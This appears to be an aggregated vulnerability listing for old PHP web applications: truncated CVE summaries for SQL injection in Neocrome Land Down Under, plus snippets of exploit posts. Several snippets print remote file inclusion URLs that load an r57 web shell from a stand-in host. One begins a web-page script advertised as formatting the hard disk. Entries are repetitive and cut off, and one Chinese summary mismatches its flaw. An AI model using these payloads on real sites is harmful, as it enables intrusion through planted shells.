CVE-2006-6577

SQL injection vulnerability in polls.php in Neocrome Land Down Under LDU 8.x and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2006-6577

CVE-2006-6577 affects Neocrome Land Down Under (LDU) 8.x and earlier, where polls.php is vulnerable to SQL injection via the id parameter. The remote attacker can cause arbitrary SQL execution, with partial impact on confidentiality, integrity, and availability (CVSS 2.0 base score 6.8). Connecte...

Seditio/Land Down Under Polls.PHP SQL注入漏洞

Seditio/Land Down Under是一款基于php的WEB应用程序。 Seditio/Land Down Under不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行sql注入攻击，获得敏感信息。 问题是由于'Polls.PHP'脚本对用户提交的'id'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过web root路径限制，以web权限查看系统文件内容。 Neocrome Seditio 1.10 Neocrome Land Down Under 8.0 目前没有解决方案提供： http://www.neocrome.net/...

CVE-2006-6268

SQL injection vulnerability in system/core/profile/profile.inc.php in Neocrome Land Down Under LDU 8.x and earlier allows remote authenticated users to execute arbitrary SQL commands via a url-encoded id parameter to users.php that begins with a valid filename, as demonstrated by "default.gif"...

CVE-2006-6268

SQL injection vulnerability in system/core/profile/profile.inc.php in Neocrome Land Down Under LDU 8.x and earlier allows remote authenticated users to execute arbitrary SQL commands via a url-encoded id parameter to users.php that begins with a valid filename, as demonstrated by "default.gif"...

CVE-2006-6268

CVE-2006-6268 is a SQL injection vulnerability affecting Neocrome Land Down Under (LDU) 8.x and earlier. The flaw resides in system/core/profile/profile.inc.php, where a url-encoded id parameter to users.php that begins with a valid filename can be exploited by remote authenticated users to injec...

CVE-2006-6268

SQL injection vulnerability in system/core/profile/profile.inc.php in Neocrome Land Down Under LDU 8.x and earlier allows remote authenticated users to execute arbitrary SQL commands via a url-encoded id parameter to users.php that begins with a valid filename, as demonstrated by "default.gif"...

Seditio1.10 Land Down 8.0 Under - polls.php SQL Injection

Seditio1.10 Land Down 8.0 Under - polls.php SQL Injection source: https://www.securityfocus.com/bid/21366/info Seditio and Land Down Under are prone to an SQL-injection vulnerability because the applications fail to properly sanitize user-supplied input before using it in an SQL query. A successf...

Seditio1.10 / Land Down 8.0 Under - 'polls.php' SQL Injection

source: https://www.securityfocus.com/bid/21366/info Seditio and Land Down Under are prone to an SQL-injection vulnerability because the applications fail to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

Neocrome Land Down Under Profile.Inc.PHP SQL 注入漏洞

Neocrome Land Down Under是一款基于PHP的WEB应用程序。 Neocrome Land Down Under不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行sql注入攻击，获得敏感信息。 问题是由于'Profile.Inc.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意sql查询作为参数数据，可更改原来的sql逻辑，获得敏感信息。 Neocrome Land Down Under 8.0 目前没有解决方案提供： http://www.neocrome.ne/...

ObjectSQL.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PHP Generator of Object SQL Database path Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: xoron Tum islam aleminin Ramaza...

UeberProject 1.0 - '/login/secure.php' Remote File Inclusion

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Uber Project Document Management System secure.php Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: xoron Tum islam...

Alert! A web page malicious script effects code summary Delivery-vulnerability warning-the black bar safety net

The following code is only for study and research use, please do not use the deceased person, resulting in loss of I am not responsible for, Thank you! 1, format the hard disk object id="scr" classid="clsid:06290BD5-48AA-11D2-8 4 3 2-006008C3FBFC" /object script scr. Reset; scr...

randshop12.txt

file include exploits in randshop v1.2 forum type : randshop v1.2 bug found by : black-code team : site-down type : file include Exploits : http://www.example.com/randshop/index.php?incl=http://evilscript? emails: [email protected] & [email protected] Greetz to my friends : Shereba, Killer...

file include exploits in randshop v1.2

file include exploits in randshop v1.2 forum type : randshop v1.2 bug found by : black-code team : site-down type : file include Exploits : http://www.example.com/randshop/index.php?incl=http://evilscript? emails: [email protected] & [email protected] Greetz to my friends : Shereba, Killer...

nucleus323.txt

Multiple file include exploits in nucleus 3.23 script type : nucleus 3.23 bug found by : sweet-devil team : site-down type : file include exploits : action.php http://www.example.com/path/action.php?DIRLIBS=http://yoursite/r57shell.txt? media.php...

file include exploits in dotwidgeta Version 2

Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

mcGuestbook13.txt

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...